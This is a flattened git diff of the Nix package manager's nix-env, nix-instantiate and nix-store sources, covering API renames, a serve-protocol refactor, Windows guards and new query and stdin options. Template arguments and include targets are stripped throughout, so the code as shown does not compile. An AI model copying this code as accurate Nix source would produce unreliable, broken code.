#include "buildenv.nix.gen.hh" - , "/"), envBuilder); + , state.rootPath(CanonPath::root)), envBuilder); /* Construct a Nix expression that calls the user environment builder with the manifest as argument. */ auto attrs = state.buildBindings(3); - attrs.alloc("manifest").mkString( - state.store->printStorePath(manifestFile), - {state.store->printStorePath(manifestFile)}); + state.mkStorePathString(manifestFile, attrs.alloc("manifest")); attrs.insert(state.symbols.create("derivations"), &manifest); Value args; args.mkAttrs(attrs); @@ -131,12 +137,13 @@ bool createUserEnv(EvalState & state, DrvInfos & elems, /* Evaluate it. */ debug("evaluating user environment builder"); - state.forceValue(topLevel, [&]() { return topLevel.determinePos(noPos); }); - PathSet context; - Attr & aDrvPath(*topLevel.attrs->find(state.sDrvPath)); - auto topLevelDrv = state.coerceToStorePath(aDrvPath.pos, *aDrvPath.value, context); - Attr & aOutPath(*topLevel.attrs->find(state.sOutPath)); - auto topLevelOut = state.coerceToStorePath(aOutPath.pos, *aOutPath.value, context); + state.forceValue(topLevel, topLevel.determinePos(noPos)); + NixStringContext context; + auto & aDrvPath(*topLevel.attrs()->find(state.sDrvPath)); + auto topLevelDrv = state.coerceToStorePath(aDrvPath.pos, *aDrvPath.value, context, ""); + topLevelDrv.requireDerivation(); + auto & aOutPath(*topLevel.attrs()->find(state.sOutPath)); + auto topLevelOut = state.coerceToStorePath(aOutPath.pos, *aOutPath.value, context, ""); /* Realise the resulting store expression. */ debug("building user environment"); @@ -159,8 +166,8 @@ bool createUserEnv(EvalState & state, DrvInfos & elems, return false; } - debug(format("switching to new user environment")); - Path generation = createGeneration(ref(store2), profile, topLevelOut); + debug("switching to new user environment"); + Path generation = createGeneration(*store2, profile, topLevelOut); switchLink(profile, generation); } diff --git a/src/nix-env/user-env.hh b/src/nix-env/user-env.hh index 10646f713..15da3fcb3 100644 --- a/src/nix-env/user-env.hh +++ b/src/nix-env/user-env.hh @@ -1,12 +1,13 @@ #pragma once +///@file #include "get-drvs.hh" namespace nix { -DrvInfos queryInstalled(EvalState & state, const Path & userEnv); +PackageInfos queryInstalled(EvalState & state, const Path & userEnv); -bool createUserEnv(EvalState & state, DrvInfos & elems, +bool createUserEnv(EvalState & state, PackageInfos & elems, const Path & profile, bool keepDerivations, const std::string & lockToken); diff --git a/src/nix-expr-test-support b/src/nix-expr-test-support new file mode 120000 index 000000000..427b80dff --- /dev/null +++ b/src/nix-expr-test-support @@ -0,0 +1 @@ +../tests/unit/libexpr-support \ No newline at end of file diff --git a/src/nix-expr-tests b/src/nix-expr-tests new file mode 120000 index 000000000..3af7110d3 --- /dev/null +++ b/src/nix-expr-tests @@ -0,0 +1 @@ +../tests/unit/libexpr \ No newline at end of file diff --git a/src/nix-fetchers-tests b/src/nix-fetchers-tests new file mode 120000 index 000000000..80e4b68ae --- /dev/null +++ b/src/nix-fetchers-tests @@ -0,0 +1 @@ +../tests/unit/libfetchers \ No newline at end of file diff --git a/src/nix-flake-tests b/src/nix-flake-tests new file mode 120000 index 000000000..bb2d49400 --- /dev/null +++ b/src/nix-flake-tests @@ -0,0 +1 @@ +../tests/unit/libflake \ No newline at end of file diff --git a/src/nix-functional-tests b/src/nix-functional-tests new file mode 120000 index 000000000..ed0cdf60b --- /dev/null +++ b/src/nix-functional-tests @@ -0,0 +1 @@ +../tests/functional \ No newline at end of file diff --git a/src/nix-instantiate/nix-instantiate.cc b/src/nix-instantiate/nix-instantiate.cc index 6b5ba595d..c48549511 100644 --- a/src/nix-instantiate/nix-instantiate.cc +++ b/src/nix-instantiate/nix-instantiate.cc @@ -1,12 +1,13 @@ #include "globals.hh" +#include "print-ambiguous.hh" #include "shared.hh" #include "eval.hh" #include "eval-inline.hh" #include "get-drvs.hh" #include "attr-path.hh" +#include "signals.hh" #include "value-to-xml.hh" #include "value-to-json.hh" -#include "util.hh" #include "store-api.hh" #include "local-fs-store.hh" #include "common-eval-args.hh" @@ -25,7 +26,6 @@ static int rootNr = 0; enum OutputKind { okPlain, okXML, okJSON }; - void processExpr(EvalState & state, const Strings & attrPaths, bool parseOnly, bool strict, Bindings & autoArgs, bool evalOnly, OutputKind output, bool location, Expr * e) @@ -41,9 +41,9 @@ void processExpr(EvalState & state, const Strings & attrPaths, for (auto & i : attrPaths) { Value & v(*findAlongAttrPath(state, i, autoArgs, vRoot).first); - state.forceValue(v, [&]() { return v.determinePos(noPos); }); + state.forceValue(v, v.determinePos(noPos)); - PathSet context; + NixStringContext context; if (evalOnly) { Value vRes; if (autoArgs.empty()) @@ -57,11 +57,12 @@ void processExpr(EvalState & state, const Strings & attrPaths, std::cout << std::endl; } else { if (strict) state.forceValueDeep(vRes); - vRes.print(state.symbols, std::cout); + std::set seen; + printAmbiguous(vRes, state.symbols, std::cout, &seen, std::numeric_limits::max()); std::cout << std::endl; } } else { - DrvInfos drvs; + PackageInfos drvs; getDerivations(state, v, "", autoArgs, drvs, false); for (auto & i : drvs) { auto drvPath = i.requireDrvPath(); @@ -102,7 +103,6 @@ static int main_nix_instantiate(int argc, char * * argv) bool strict = false; Strings attrPaths; bool wantsReadWrite = false; - RepairFlag repair = NoRepair; struct MyArgs : LegacyArgs, MixEvalArgs { @@ -140,8 +140,6 @@ static int main_nix_instantiate(int argc, char * * argv) xmlOutputSourceLocation = false; else if (*arg == "--strict") strict = true; - else if (*arg == "--repair") - repair = Repair; else if (*arg == "--dry-run") settings.readOnlyMode = true; else if (*arg != "" && arg->at(0) == '-') @@ -159,8 +157,8 @@ static int main_nix_instantiate(int argc, char * * argv) auto store = openStore(); auto evalStore = myArgs.evalStoreUrl ? openStore(*myArgs.evalStoreUrl) : store; - auto state = std::make_unique(myArgs.searchPath, evalStore, store); - state->repair = repair; + auto state = std::make_unique(myArgs.lookupPath, evalStore, fetchSettings, evalSettings, store); + state->repair = myArgs.repair; Bindings & autoArgs = *myArgs.getAutoArgs(*state); @@ -168,9 +166,11 @@ static int main_nix_instantiate(int argc, char * * argv) if (findFile) { for (auto & i : files) { - Path p = state->findFile(i); - if (p == "") throw Error("unable to find '%1%'", i); - std::cout << p << std::endl; + auto p = state->findFile(i); + if (auto fn = p.getPhysicalPath()) + std::cout << fn->string() << std::endl; + else + throw Error("'%s' has no physical path", p); } return 0; } @@ -184,13 +184,13 @@ static int main_nix_instantiate(int argc, char * * argv) for (auto & i : files) { Expr * e = fromArgs - ? state->parseExprFromString(i, absPath(".")) - : state->parseExprFromFile(resolveExprPath(state->checkSourcePath(lookupFileArg(*state, i)))); + ? state->parseExprFromString(i, state->rootPath(".")) + : state->parseExprFromFile(resolveExprPath(lookupFileArg(*state, i))); processExpr(*state, attrPaths, parseOnly, strict, autoArgs, evalOnly, outputKind, xmlOutputSourceLocation, e); } - state->printStats(); + state->maybePrintStats(); return 0; } diff --git a/src/nix-store-test-support b/src/nix-store-test-support new file mode 120000 index 000000000..af4befd90 --- /dev/null +++ b/src/nix-store-test-support @@ -0,0 +1 @@ +../tests/unit/libstore-support \ No newline at end of file diff --git a/src/nix-store-tests b/src/nix-store-tests new file mode 120000 index 000000000..fc9b910af --- /dev/null +++ b/src/nix-store-tests @@ -0,0 +1 @@ +../tests/unit/libstore \ No newline at end of file diff --git a/src/nix-store/dotgraph.cc b/src/nix-store/dotgraph.cc index 577cadceb..2c530999b 100644 --- a/src/nix-store/dotgraph.cc +++ b/src/nix-store/dotgraph.cc @@ -1,5 +1,4 @@ #include "dotgraph.hh" -#include "util.hh" #include "store-api.hh" #include diff --git a/src/nix-store/dotgraph.hh b/src/nix-store/dotgraph.hh index 73b8d06b9..4fd944080 100644 --- a/src/nix-store/dotgraph.hh +++ b/src/nix-store/dotgraph.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include "store-api.hh" diff --git a/src/nix-store/graphml.cc b/src/nix-store/graphml.cc index 425d61e53..3e789a2d8 100644 --- a/src/nix-store/graphml.cc +++ b/src/nix-store/graphml.cc @@ -1,5 +1,4 @@ #include "graphml.hh" -#include "util.hh" #include "store-api.hh" #include "derivations.hh" @@ -57,7 +56,7 @@ void printGraphML(ref store, StorePathSet && roots) << "\n" - << "" + << "" << "" << "" << "\n"; diff --git a/src/nix-store/graphml.hh b/src/nix-store/graphml.hh index 78be8a367..bd3a4a37c 100644 --- a/src/nix-store/graphml.hh +++ b/src/nix-store/graphml.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include "store-api.hh" diff --git a/src/nix-store/nix-store.cc b/src/nix-store/nix-store.cc index 3bbefedbe..b4de42ba1 100644 --- a/src/nix-store/nix-store.cc +++ b/src/nix-store/nix-store.cc @@ -2,28 +2,33 @@ #include "derivations.hh" #include "dotgraph.hh" #include "globals.hh" -#include "build-result.hh" #include "store-cast.hh" -#include "gc-store.hh" +#include "local-fs-store.hh" #include "log-store.hh" -#include "local-store.hh" -#include "monitor-fd.hh" #include "serve-protocol.hh" +#include "serve-protocol-connection.hh" #include "shared.hh" -#include "util.hh" -#include "worker-protocol.hh" #include "graphml.hh" #include "legacy.hh" +#include "posix-source-accessor.hh" #include "path-with-outputs.hh" +#ifndef _WIN32 // TODO implement on Windows or provide allowed-to-noop interface +# include "local-store.hh" +# include "monitor-fd.hh" +# include "posix-fs-canonicalise.hh" +#endif + #include #include -#include #include #include #include +#include "build-result.hh" +#include "exit.hh" +#include "serve-protocol-impl.hh" namespace nix_store { @@ -42,12 +47,14 @@ static bool noOutput = false; static std::shared_ptr store; +#ifndef _WIN32 // TODO reenable on Windows once we have `LocalStore` there ref ensureLocalStore() { auto store2 = std::dynamic_pointer_cast(store); if (!store2) throw Error("you don't have sufficient rights to use this command"); return ref(store2); } +#endif static StorePath useDeriver(const StorePath & path) @@ -72,11 +79,13 @@ static PathSet realisePath(StorePathWithOutputs path, bool build = true) Derivation drv = store->derivationFromPath(path.path); rootNr++; + /* FIXME: Encode this empty special case explicitly in the type. */ if (path.outputs.empty()) for (auto & i : drv.outputs) path.outputs.insert(i.first); PathSet outputs; for (auto & j : path.outputs) { + /* Match outputs of a store path with outputs of the derivation that produces it. */ DerivationOutputs::iterator i = drv.outputs.find(j); if (i == drv.outputs.end()) throw Error("derivation '%s' does not have an output named '%s'", @@ -141,6 +150,7 @@ static void opRealise(Strings opFlags, Strings opArgs) toDerivedPaths(paths), willBuild, willSubstitute, unknown, downloadSize, narSize); + /* Filter out unknown paths from `paths`. */ if (ignoreUnknown) { std::vector paths2; for (auto & i : paths) @@ -172,8 +182,11 @@ static void opAdd(Strings opFlags, Strings opArgs) { if (!opFlags.empty()) throw UsageError("unknown flag"); - for (auto & i : opArgs) - cout << fmt("%s\n", store->printStorePath(store->addToStore(std::string(baseNameOf(i)), i))); + for (auto & i : opArgs) { + auto [accessor, canonPath] = PosixSourceAccessor::createAtRoot(i); + cout << fmt("%s\n", store->printStorePath(store->addToStore( + std::string(baseNameOf(i)), {accessor, canonPath}))); + } } @@ -181,41 +194,51 @@ static void opAdd(Strings opFlags, Strings opArgs) store. */ static void opAddFixed(Strings opFlags, Strings opArgs) { - auto method = FileIngestionMethod::Flat; + ContentAddressMethod method = ContentAddressMethod::Raw::Flat; for (auto & i : opFlags) - if (i == "--recursive") method = FileIngestionMethod::Recursive; + if (i == "--recursive") method = ContentAddressMethod::Raw::NixArchive; else throw UsageError("unknown flag '%1%'", i); if (opArgs.empty()) throw UsageError("first argument must be hash algorithm"); - HashType hashAlgo = parseHashType(opArgs.front()); + HashAlgorithm hashAlgo = parseHashAlgo(opArgs.front()); opArgs.pop_front(); - for (auto & i : opArgs) - std::cout << fmt("%s\n", store->printStorePath(store->addToStoreSlow(baseNameOf(i), i, method, hashAlgo).path)); + for (auto & i : opArgs) { + auto [accessor, canonPath] = PosixSourceAccessor::createAtRoot(i); + std::cout << fmt("%s\n", store->printStorePath(store->addToStoreSlow( + baseNameOf(i), + {accessor, canonPath}, + method, + hashAlgo).path)); + } } /* Hack to support caching in `nix-prefetch-url'. */ static void opPrintFixedPath(Strings opFlags, Strings opArgs) { - auto recursive = FileIngestionMethod::Flat; + auto method = FileIngestionMethod::Flat; for (auto i : opFlags) - if (i == "--recursive") recursive = FileIngestionMethod::Recursive; + if (i == "--recursive") method = FileIngestionMethod::NixArchive; else throw UsageError("unknown flag '%1%'", i); if (opArgs.size() != 3) throw UsageError("'--print-fixed-path' requires three arguments"); Strings::iterator i = opArgs.begin(); - HashType hashAlgo = parseHashType(*i++); + HashAlgorithm hashAlgo = parseHashAlgo(*i++); std::string hash = *i++; std::string name = *i++; - cout << fmt("%s\n", store->printStorePath(store->makeFixedOutputPath(recursive, Hash::parseAny(hash, hashAlgo), name))); + cout << fmt("%s\n", store->printStorePath(store->makeFixedOutputPath(name, FixedOutputInfo { + .method = method, + .hash = Hash::parseAny(hash, hashAlgo), + .references = {}, + }))); } @@ -274,23 +297,24 @@ static void printTree(const StorePath & path, static void opQuery(Strings opFlags, Strings opArgs) { enum QueryType - { qDefault, qOutputs, qRequisites, qReferences, qReferrers - , qReferrersClosure, qDeriver, qBinding, qHash, qSize + { qOutputs, qRequisites, qReferences, qReferrers + , qReferrersClosure, qDeriver, qValidDerivers, qBinding, qHash, qSize , qTree, qGraph, qGraphML, qResolve, qRoots }; - QueryType query = qDefault; + std::optional query; bool useOutput = false; bool includeOutputs = false; bool forceRealise = false; std::string bindingName; for (auto & i : opFlags) { - QueryType prev = query; + std::optional prev = query; if (i == "--outputs") query = qOutputs; else if (i == "--requisites" || i == "-R") query = qRequisites; else if (i == "--references") query = qReferences; else if (i == "--referrers" || i == "--referers") query = qReferrers; else if (i == "--referrers-closure" || i == "--referers-closure") query = qReferrersClosure; else if (i == "--deriver" || i == "-d") query = qDeriver; + else if (i == "--valid-derivers") query = qValidDerivers; else if (i == "--binding" || i == "-b") { if (opArgs.size() == 0) throw UsageError("expected binding name"); @@ -309,15 +333,15 @@ static void opQuery(Strings opFlags, Strings opArgs) else if (i == "--force-realise" || i == "--force-realize" || i == "-f") forceRealise = true; else if (i == "--include-outputs") includeOutputs = true; else throw UsageError("unknown flag '%1%'", i); - if (prev != qDefault && prev != query) + if (prev && prev != query) throw UsageError("query type '%1%' conflicts with earlier flag", i); } - if (query == qDefault) query = qOutputs; + if (!query) query = qOutputs; RunPager pager; - switch (query) { + switch (*query) { case qOutputs: { for (auto & i : opArgs) { @@ -364,6 +388,21 @@ static void opQuery(Strings opFlags, Strings opArgs) } break; + case qValidDerivers: { + StorePathSet result; + for (auto & i : opArgs) { + auto derivers = store->queryValidDerivers(store->followLinksToStorePath(i)); + for (const auto &i: derivers) { + result.insert(i); + } + } + auto sorted = store->topoSortPaths(result); + for (StorePaths::reverse_iterator i = sorted.rbegin(); + i != sorted.rend(); ++i) + cout << fmt("%s\n", store->printStorePath(*i)); + break; + } + case qBinding: for (auto & i : opArgs) { auto path = useDeriver(store->followLinksToStorePath(i)); @@ -382,8 +421,8 @@ static void opQuery(Strings opFlags, Strings opArgs) for (auto & j : maybeUseOutputs(store->followLinksToStorePath(i), useOutput, forceRealise)) { auto info = store->queryPathInfo(j); if (query == qHash) { - assert(info->narHash.type == htSHA256); - cout << fmt("%s\n", info->narHash.to_string(Base32, true)); + assert(info->narHash.algo == HashAlgorithm::SHA256); + cout << fmt("%s\n", info->narHash.to_string(HashFormat::Nix32, true)); } else if (query == qSize) cout << fmt("%d\n", info->narSize); } @@ -441,7 +480,7 @@ static void opQuery(Strings opFlags, Strings opArgs) } default: - abort(); + unreachable(); } } @@ -457,7 +496,7 @@ static void opPrintEnv(Strings opFlags, Strings opArgs) /* Print each environment variable in the derivation in a format * that can be sourced by the shell. */ for (auto & i : drv.env) - cout << format("export %1%; %1%=%2%\n") % i.first % shellEscape(i.second); + logger->cout("export %1%; %1%=%2%\n", i.first, shellEscape(i.second)); /* Also output the arguments. This doesn't preserve whitespace in arguments. */ @@ -516,9 +555,15 @@ static void registerValidity(bool reregister, bool hashGiven, bool canonicalise) if (!store->isValidPath(info->path) || reregister) { /* !!! races */ if (canonicalise) +#ifdef _WIN32 // TODO implement on Windows + throw UnimplementedError("file attribute canonicalisation Is not implemented on Windows"); +#else canonicalisePathMetaData(store->printStorePath(info->path), {}); +#endif if (!hashGiven) { - HashResult hash = hashPath(htSHA256, store->printStorePath(info->path)); + HashResult hash = hashPath( + {store->getFSAccessor(false), CanonPath { store->printStorePath(info->path) }}, + FileSerialisationMethod::NixArchive, HashAlgorithm::SHA256); info->narHash = hash.first; info->narSize = hash.second; } @@ -526,7 +571,9 @@ static void registerValidity(bool reregister, bool hashGiven, bool canonicalise) } } +#ifndef _WIN32 // TODO reenable on Windows once we have `LocalStore` there ensureLocalStore()->registerValidPaths(infos); +#endif } @@ -647,7 +694,7 @@ static void opDump(Strings opFlags, Strings opArgs) if (!opFlags.empty()) throw UsageError("unknown flag"); if (opArgs.size() != 1) throw UsageError("only one argument allowed"); - FdSink sink(STDOUT_FILENO); + FdSink sink(getStandardOut()); std::string path = *opArgs.begin(); dumpPath(path, sink); sink.flush(); @@ -675,7 +722,7 @@ static void opExport(Strings opFlags, Strings opArgs) for (auto & i : opArgs) paths.insert(store->followLinksToStorePath(i)); - FdSink sink(STDOUT_FILENO); + FdSink sink(getStandardOut()); store->exportPaths(paths, sink); sink.flush(); } @@ -740,14 +787,14 @@ static void opVerifyPath(Strings opFlags, Strings opArgs) auto path = store->followLinksToStorePath(i); printMsg(lvlTalkative, "checking path '%s'...", store->printStorePath(path)); auto info = store->queryPathInfo(path); - HashSink sink(info->narHash.type); + HashSink sink(info->narHash.algo); store->narFromPath(path, sink); auto current = sink.finish(); if (current.first != info->narHash) { printError("path '%s' was modified! expected hash '%s', got '%s'", store->printStorePath(path), - info->narHash.to_string(Base32, true), - current.first.to_string(Base32, true)); + info->narHash.to_string(HashFormat::Nix32, true), + current.first.to_string(HashFormat::Nix32, true)); status = 1; } } @@ -788,14 +835,21 @@ static void opServe(Strings opFlags, Strings opArgs) if (!opArgs.empty()) throw UsageError("no arguments expected"); FdSource in(STDIN_FILENO); - FdSink out(STDOUT_FILENO); + FdSink out(getStandardOut()); /* Exchange the greeting. */ - unsigned int magic = readInt(in); - if (magic != SERVE_MAGIC_1) throw Error("protocol mismatch"); - out << SERVE_MAGIC_2 << SERVE_PROTOCOL_VERSION; - out.flush(); - unsigned int clientVersion = readInt(in); + ServeProto::Version clientVersion = + ServeProto::BasicServerConnection::handshake( + out, in, SERVE_PROTOCOL_VERSION); + + ServeProto::ReadConn rconn { + .from = in, + .version = clientVersion, + }; + ServeProto::WriteConn wconn { + .to = out, + .version = clientVersion, + }; auto getBuildSettings = [&]() { // FIXME: changing options here doesn't work if we're @@ -803,44 +857,50 @@ static void opServe(Strings opFlags, Strings opArgs) verbosity = lvlError; settings.keepLog = false; settings.useSubstitutes = false; - settings.maxSilentTime = readInt(in); - settings.buildTimeout = readInt(in); + + auto options = ServeProto::Serialise::read(*store, rconn); + + // Only certain feilds get initialized based on the protocol + // version. This is why not all the code below is unconditional. + // See how the serialization logic in + // `ServeProto::Serialise` matches + // these conditions. + settings.maxSilentTime = options.maxSilentTime; + settings.buildTimeout = options.buildTimeout; if (GET_PROTOCOL_MINOR(clientVersion) >= 2) - settings.maxLogSize = readNum(in); + settings.maxLogSize = options.maxLogSize; if (GET_PROTOCOL_MINOR(clientVersion) >= 3) { - auto nrRepeats = readInt(in); - if (nrRepeats != 0) { + if (options.nrRepeats != 0) { throw Error("client requested repeating builds, but this is not currently implemented"); } - // Ignore 'enforceDeterminism'. It used to be true by - // default, but also only never had any effect when - // `nrRepeats == 0`. We have already asserted that - // `nrRepeats` in fact is 0, so we can safely ignore this - // without doing something other than what the client - // asked for. - readInt(in); - + // Ignore 'options.enforceDeterminism'. + // + // It used to be true by default, but also only never had + // any effect when `nrRepeats == 0`. We have already + // checked that `nrRepeats` in fact is 0, so we can safely + // ignore this without doing something other than what the + // client asked for. settings.runDiffHook = true; } if (GET_PROTOCOL_MINOR(clientVersion) >= 7) { - settings.keepFailed = (bool) readInt(in); + settings.keepFailed = options.keepFailed; } }; while (true) { - ServeCommand cmd; + ServeProto::Command cmd; try { - cmd = (ServeCommand) readInt(in); + cmd = (ServeProto::Command) readInt(in); } catch (EndOfFile & e) { break; } switch (cmd) { - case cmdQueryValidPaths: { + case ServeProto::Command::QueryValidPaths: { bool lock = readInt(in); bool substitute = readInt(in); - auto paths = worker_proto::read(*store, in, Phantom {}); + auto paths = ServeProto::Serialise::read(*store, rconn); if (lock && writeAllowed) for (auto & path : paths) store->addTempRoot(path); @@ -849,26 +909,18 @@ static void opServe(Strings opFlags, Strings opArgs) store->substitutePaths(paths); } - worker_proto::write(*store, out, store->queryValidPaths(paths)); + ServeProto::write(*store, wconn, store->queryValidPaths(paths)); break; } - case cmdQueryPathInfos: { - auto paths = worker_proto::read(*store, in, Phantom {}); + case ServeProto::Command::QueryPathInfos: { + auto paths = ServeProto::Serialise::read(*store, rconn); // !!! Maybe we want a queryPathInfos? for (auto & i : paths) { try { auto info = store->queryPathInfo(i); - out << store->printStorePath(info->path) - << (info->deriver ? store->printStorePath(*info->deriver) : ""); - worker_proto::write(*store, out, info->references); - // !!! Maybe we want compression? - out << info->narSize // downloadSize - << info->narSize; - if (GET_PROTOCOL_MINOR(clientVersion) >= 4) - out << info->narHash.to_string(Base32, true) - << renderContentAddress(info->ca) - << info->sigs; + out << store->printStorePath(info->path); + ServeProto::write(*store, wconn, static_cast(*info)); } catch (InvalidPath &) { } } @@ -876,24 +928,24 @@ static void opServe(Strings opFlags, Strings opArgs) break; } - case cmdDumpStorePath: + case ServeProto::Command::DumpStorePath: store->narFromPath(store->parseStorePath(readString(in)), out); break; - case cmdImportPaths: { + case ServeProto::Command::ImportPaths: { if (!writeAllowed) throw Error("importing paths is not allowed"); store->importPaths(in, NoCheckSigs); // FIXME: should we skip sig checking? out << 1; // indicate success break; } - case cmdExportPaths: { + case ServeProto::Command::ExportPaths: { readInt(in); // obsolete - store->exportPaths(worker_proto::read(*store, in, Phantom {}), out); + store->exportPaths(ServeProto::Serialise::read(*store, rconn), out); break; } - case cmdBuildPaths: { + case ServeProto::Command::BuildPaths: { if (!writeAllowed) throw Error("building paths is not allowed"); @@ -904,17 +956,19 @@ static void opServe(Strings opFlags, Strings opArgs) getBuildSettings(); try { +#ifndef _WIN32 // TODO figure out if Windows needs something similar MonitorFdHup monitor(in.fd); +#endif store->buildPaths(toDerivedPaths(paths)); out << 0; } catch (Error & e) { - assert(e.status); - out << e.status << e.msg(); + assert(e.info().status); + out << e.info().status << e.msg(); } break; } - case cmdBuildDerivation: { /* Used by hydra-queue-runner. */ + case ServeProto::Command::BuildDerivation: { /* Used by hydra-queue-runner. */ if (!writeAllowed) throw Error("building paths is not allowed"); @@ -924,44 +978,39 @@ static void opServe(Strings opFlags, Strings opArgs) getBuildSettings(); +#ifndef _WIN32 // TODO figure out if Windows needs something similar MonitorFdHup monitor(in.fd); +#endif auto status = store->buildDerivation(drvPath, drv); - out << status.status << status.errorMsg; - - if (GET_PROTOCOL_MINOR(clientVersion) >= 3) - out << status.timesBuilt << status.isNonDeterministic << status.startTime << status.stopTime; - if (GET_PROTOCOL_MINOR(clientVersion) >= 6) { - worker_proto::write(*store, out, status.builtOutputs); - } - + ServeProto::write(*store, wconn, status); break; } - case cmdQueryClosure: { + case ServeProto::Command::QueryClosure: { bool includeOutputs = readInt(in); StorePathSet closure; - store->computeFSClosure(worker_proto::read(*store, in, Phantom {}), + store->computeFSClosure(ServeProto::Serialise::read(*store, rconn), closure, false, includeOutputs); - worker_proto::write(*store, out, closure); + ServeProto::write(*store, wconn, closure); break; } - case cmdAddToStoreNar: { + case ServeProto::Command::AddToStoreNar: { if (!writeAllowed) throw Error("importing paths is not allowed"); auto path = readString(in); auto deriver = readString(in); ValidPathInfo info { store->parseStorePath(path), - Hash::parseAny(readString(in), htSHA256), + Hash::parseAny(readString(in), HashAlgorithm::SHA256), }; if (deriver != "") info.deriver = store->parseStorePath(deriver); - info.references = worker_proto::read(*store, in, Phantom {}); + info.references = ServeProto::Serialise::read(*store, rconn); in >> info.registrationTime >> info.narSize >> info.ultimate; info.sigs = readStrings(in); - info.ca = parseContentAddressOpt(readString(in)); + info.ca = ContentAddress::parseOpt(readString(in)); if (info.narSize == 0) throw Error("narInfo is too old and missing the narSize field"); @@ -1020,64 +1069,109 @@ static int main_nix_store(int argc, char * * argv) { Strings opFlags, opArgs; Operation op = 0; + bool readFromStdIn = false; + std::string opName; + bool showHelp = false; parseCmdLine(argc, argv, [&](Strings::iterator & arg, const Strings::iterator & end) { Operation oldOp = op; if (*arg == "--help") - showManPage("nix-store"); + showHelp = true; else if (*arg == "--version") op = opVersion; - else if (*arg == "--realise" || *arg == "--realize" || *arg == "-r") + else if (*arg == "--realise" || *arg == "--realize" || *arg == "-r") { op = opRealise; - else if (*arg == "--add" || *arg == "-A") + opName = "-realise"; + } + else if (*arg == "--add" || *arg == "-A"){ op = opAdd; - else if (*arg == "--add-fixed") + opName = "-add"; + } + else if (*arg == "--add-fixed") { op = opAddFixed; + opName = arg->substr(1); + } else if (*arg == "--print-fixed-path") op = opPrintFixedPath; - else if (*arg == "--delete") + else if (*arg == "--delete") { op = opDelete; - else if (*arg == "--query" || *arg == "-q") + opName = arg->substr(1); + } + else if (*arg == "--query" || *arg == "-q") { op = opQuery; - else if (*arg == "--print-env") + opName = "-query"; + } + else if (*arg == "--print-env") { op = opPrintEnv; - else if (*arg == "--read-log" || *arg == "-l") + opName = arg->substr(1); + } + else if (*arg == "--read-log" || *arg == "-l") { op = opReadLog; - else if (*arg == "--dump-db") + opName = "-read-log"; + } + else if (*arg == "--dump-db") { op = opDumpDB; - else if (*arg == "--load-db") + opName = arg->substr(1); + } + else if (*arg == "--load-db") { op = opLoadDB; + opName = arg->substr(1); + } else if (*arg == "--register-validity") op = opRegisterValidity; else if (*arg == "--check-validity") op = opCheckValidity; - else if (*arg == "--gc") + else if (*arg == "--gc") { op = opGC; - else if (*arg == "--dump") + opName = arg->substr(1); + } + else if (*arg == "--dump") { op = opDump; - else if (*arg == "--restore") + opName = arg->substr(1); + } + else if (*arg == "--restore") { op = opRestore; - else if (*arg == "--export") + opName = arg->substr(1); + } + else if (*arg == "--export") { op = opExport; - else if (*arg == "--import") + opName = arg->substr(1); + } + else if (*arg == "--import") { op = opImport; + opName = arg->substr(1); + } else if (*arg == "--init") op = opInit; - else if (*arg == "--verify") + else if (*arg == "--verify") { op = opVerify; - else if (*arg == "--verify-path") + opName = arg->substr(1); + } + else if (*arg == "--verify-path") { op = opVerifyPath; - else if (*arg == "--repair-path") + opName = arg->substr(1); + } + else if (*arg == "--repair-path") { op = opRepairPath; - else if (*arg == "--optimise" || *arg == "--optimize") + opName = arg->substr(1); + } + else if (*arg == "--optimise" || *arg == "--optimize") { op = opOptimise; - else if (*arg == "--serve") + opName = "-optimise"; + } + else if (*arg == "--serve") { op = opServe; - else if (*arg == "--generate-binary-cache-key") + opName = arg->substr(1); + } + else if (*arg == "--generate-binary-cache-key") { op = opGenerateBinaryCacheKey; + opName = arg->substr(1); + } else if (*arg == "--add-root") gcRoot = absPath(getArg(*arg, arg, end)); + else if (*arg == "--stdin" && !isatty(STDIN_FILENO)) + readFromStdIn = true; else if (*arg == "--indirect") ; else if (*arg == "--no-output") @@ -1090,12 +1184,20 @@ static int main_nix_store(int argc, char * * argv) else opArgs.push_back(*arg); + if (readFromStdIn && op != opImport && op != opRestore && op != opServe) { + std::string word; + while (std::cin >> word) { + opArgs.emplace_back(std::move(word)); + }; + } + if (oldOp && oldOp != op) throw UsageError("only one operation may be specified"); return true; }); + if (showHelp) showManPage("nix-store" + opName); if (!op) throw UsageError("no operation specified"); if (op != opDump && op != opRestore) /* !!! hack */ diff --git a/src/nix-util-test-support b/src/nix-util-test-support new file mode 120000 index 000000000..4b25930eb --- /dev/null +++ b/src/nix-util-test-support @@ -0,0 +1 @@ +../tests/unit/libutil-support \ No newline at end of file diff --git a/src/nix-util-tests b/src/nix-util-tests new file mode 120000 index 000000000..e1138411a --- /dev/null +++ b/src/nix-util-tests @@ -0,0 +1 @@ +../tests/unit/libutil \ No newline at end of file diff --git a/src/nix/.version b/src/nix/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/nix/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/src/nix/add-file.md b/src/nix/add-file.md deleted file mode 100644 index ed237a035..000000000 --- a/src/nix/add-file.md +++ /dev/null @@ -1,28 +0,0 @@ -R""( - -# Description - -Copy the regular file *path* to the Nix store, and print the resulting -store path on standard output. - -> **Warning** -> -> The resulting store path is not registered as a garbage -> collector root, so it could be deleted before you have a -> chance to register it. - -# Examples - -Add a regular file to the store: - -```console -# echo foo > bar - -# nix store add-file ./bar -/nix/store/cbv2s4bsvzjri77s2gb8g8bpcb6dpa8w-bar - -# cat /nix/store/cbv2s4bsvzjri77s2gb8g8bpcb6dpa8w-bar -foo -``` - -)"" diff --git a/src/nix/add-to-store.cc b/src/nix/add-to-store.cc index 5168413d2..5c08f7616 100644 --- a/src/nix/add-to-store.cc +++ b/src/nix/add-to-store.cc @@ -2,6 +2,9 @@ #include "common-args.hh" #include "store-api.hh" #include "archive.hh" +#include "git.hh" +#include "posix-source-accessor.hh" +#include "misc-store-flags.hh" using namespace nix; @@ -9,7 +12,8 @@ struct CmdAddToStore : MixDryRun, StoreCommand { Path path; std::optional namePart; - FileIngestionMethod ingestionMethod; + ContentAddressMethod caMethod = ContentAddressMethod::Raw::NixArchive; + HashAlgorithm hashAlgo = HashAlgorithm::SHA256; CmdAddToStore() { @@ -23,40 +27,40 @@ struct CmdAddToStore : MixDryRun, StoreCommand .labels = {"name"}, .handler = {&namePart}, }); + + addFlag(flag::contentAddressMethod(&caMethod)); + + 